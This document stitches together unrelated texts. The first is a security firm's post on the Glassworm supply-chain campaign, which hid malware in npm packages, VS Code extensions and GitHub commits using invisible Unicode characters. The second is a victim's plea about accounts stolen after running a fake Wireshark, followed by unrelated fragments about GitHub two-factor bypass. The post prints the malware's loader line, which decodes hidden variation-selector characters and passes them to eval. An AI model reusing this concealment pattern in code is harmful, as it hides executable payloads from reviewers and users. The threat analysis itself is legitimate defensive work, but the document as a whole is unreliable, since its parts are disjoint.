We’re officially in the AI-hacking-software era.

An autonomous bot powered by Claude scanned 47,000+ GitHub repos and successfully compromised several major projects by submitting malicious pull requests that exploited CI/CD workflows.

It wasn’t manual - it found vulnerabilities and exfiltrated tokens on its own.

An interesting development in a 7 month long campaign we have been monitoring from threat actors.

What started in March with some NPM packages infected with malware that was hiding using Unicode characters (Unicode steganography), moved to VSCode Extensions two weeks ago, and is now spreading malware on GitHub.

In May, we did a write-up about threat actors using Unicode steganography, basically using unprintable characters to hide malware within it -> https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas

Unicode PUA characters are unprintable, therefore invisible in code editors but can be assigned values when the program runs.

It was a very clever way of hiding malware to make it invisible on screen, to make it more fun they even used Google Calendar links to hide payloads in Base64 encoded titles.

2 Weeks ago, on Friday 17th of October, we were the first to report that this same threat group had compromised multiple VS Code extensions via the OpenVSX Marketplace. This was undoubtedly the same group because they repurpose the exact same malware (same Unicode characters, same technique using Google Calendar invites)

Our posts
https://x.com/AikidoSecurity/status/1979207669044122111
https://www.linkedin.com/feed/update/urn:li:activity:7384985297136099328/

This malware was later analyzed by a different research group and named Glassworm.

Now it seems they have moved on from VSCode and gone into GitHub.
We have seen multiple accounts compromised and sharing malware using the same Unicode steganography technique.

As you can imagine, a lot of the compromised accounts are removing the commits, but you can still find examples of the malware by searching on GitHub -> https://github.com/search?q=onst+d%3Ds%3D%3E%5B...s%5D.map%28c%3D%3E%28c%3Dc.codePointAt%280%29%2Cc%3E%3D0xFE00%26%26c%3C%3D0xFE0F%3Fc-0xFE00%3Ac%3E%3D0xE0100%26%26c%3C%3D0xE01E&type=code

These are only the public repositories, and the issue could be much deeper in private repositories.

The threat actors have clearly stolen developer credentials, likely from their previous endeavors,and are now trying to embed their malware into various different projects.

the code itself

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d('')).toString('utf-8'));

While it looks suspicious doesn't appear too bad until the realist the the empty string from(d(\`)). It isn't actually empty. Its hidden malicious characters that call an external payload. Theeval` function then executes that payload immediately.

That payload is the exact same malware we saw in the VSCode extensions that were compromised.

It also appears to use AI-generated code that is commited along with the malware to hide it and make it less obvious.

While the malware is almost identical in all three examples, it is interesting to see them applying slightly different techniques, getting better each time.

Full writeup here -> https://www.aikido.dev/blog/the-return-of-the-invisible-threat-hidden-pua-unicode-hits-github-repositorties

Timeline

• March – Aikido first discovers malicious npm packages hiding payloads using PUA Unicode characters

• May – We publish a blog detailing the risks of invisible Unicode and how it can be abused in supply chain attacks

• October 17 – We uncover compromised extensions on Open VSX using the same technique;

• October 18 - Security firm analyzes the malware and payload, naming it Glassworm

• October 31 – We discover that the attackers have shifted focus to GitHub repositories

This all happened over the course of a week

I executed a program and saw that nothing happened and realized that I made a big mistake. The logo on the program appeared to resemble WireShark.

I ran Malwarebytes, SuperAnti-Spyware, Windows security scan and CCleaner to try and clean up everything. Removed anything that came up. I thought I was safe and the next day my PayPal and G2A was hacked. I proceeded to changed the majority of my passwords and closed my paypal account. I also changed my credit card.

Then, the next morning, I noticed my Amazon account was hacked as I forgot to change that password. They ordered and archived a $600 order, added themselves to my amazon family and I cancelled and removed everything I could find. I tried recharging passwords again when they hacked my discord and sent spam messages to my contacts.

I finally had it and factory reset my PC, reinstalling windows from the cloud. I copied my documents folder to a flash drive to saved down my important docs. I reinstalled my programs. After this, I recreated a new G2A account with a second email that I had previously. Next day, I got another email saying my google account had suspicious activity and had an unrecognized login on the G2A account. I checked my google pay and they attempted to use carrier pay with my phone.

I changed my password for my email again and I think I covered all my bases but now I’m worried that it’s a sophisticated malware that my troubleshooting didn’t fix. Today, I noticed a potential login on my Steam with $600 worth of crap in my cart. Luckily, I removed all forms of saved payments everywhere so I’m not being charged. Changed my Steam password and changed my wifi password.

I have 2FA enabled on almost everything and am not sure how they’re bypassing it (Steam/Amazon/Paypal etc). What are my best next steps? Based on the above, is there reason to believe that my network is compromised? How should I go about resolving this?

Will answer necessary clarifying questions. I just want this to end.

the hacker changed the email and password some how also bypassing my 2step with the github app

i already contacted support its been 2 weeks but still no response